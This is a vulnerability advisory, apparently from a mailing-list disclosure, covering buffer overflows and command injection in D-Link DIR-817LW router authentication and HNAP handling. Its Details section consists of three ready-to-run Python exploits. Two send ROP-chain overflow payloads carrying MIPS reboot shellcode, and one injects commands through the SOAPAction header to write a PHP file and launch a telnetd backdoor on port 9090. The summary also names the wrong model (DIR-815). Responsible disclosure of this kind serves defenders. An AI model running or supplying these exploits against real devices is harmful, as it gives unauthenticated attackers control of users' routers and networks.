Dlink DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities

[samhuntley84@xxxxxxxxx]

## Advisory Information

Title: DIR-817LW Buffer overflows and Command injection in authentication and 
HNAP functionalities
Vendors contacted: William Brown <william.brown@xxxxxxxxx>, Patrick Cline 
patrick.cline@xxxxxxxxx(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor 
indicated that they have fixed issues as per the email communication. The 
vendor had also released the information on their security advisory pages 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence 
the information needs to be publicly accessible so that users using these 
devices can update the router firmwares.The author (Samuel Huntley) releasing 
this finding is not responsible for anyone using this information for malicious 
purposes.  

## Product Description

DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and 
small offices.

## Vulnerabilities Summary

Have come across 3 security issues in DIR-815 firmware which allows an attacker 
to exploit command injection and buffer overflows in authentication adn HNAP 
functionality. All of them can be exploited by an unauthentictaed attacker. The 
attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack 
directly or using XSRF if not exposed.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

#Reboot shellcode in there


buf = "GET /dws/api/Login?id="
buf+="A"*2064+"AAAA" #s0 # uclibc system address
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate 
mission
buf+="\x2A\xB1\x4D\xF0"
buf+="\x2A\xAC\xAD\x70" # Retn address  ROP gadget 1 that loads into $a0
buf+="C"*36 # 
buf+="\x2A\xAC\xD5\xB4" # points to rop3 
#buf+="1"*17 # exit payload
buf+="E"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
 #reboot big endian 
buf+="Y"*120 # ROP gadget 2 that loads into $t9
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: 
test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# Working

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: 
test\r\nContent-Length: 
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + 
";sh;"+"B"*158
buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret
buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep
buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5
buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate 
mission
buf+="AAAA"
buf+="\x2A\xAC\xAD\x70" # Retn address  ROP gadget 1 that loads into $a0
buf+="C"*36
buf+="\x2A\xAC\xD5\xB4" # points to rop3 
buf+="C"*16
buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c"
 #reboot big endian shell
buf+="B"*28+"\r\n" + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.8", 80))
s.send(buf)
----------------------------------------------------------------------------------------------------------------------

Command injection 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct

# CSRF or any other trickery, but probably only works when connected to network 
I suppose and internal

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: 
test\r\nContent-Length: 
1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX"; + ';echo 
"<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n"
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("1.2.3.4", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------

## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William 
Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the 
vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.

## Credit

This vulnerability was found by Samuel Huntley (samhuntley84@xxxxxxxxx).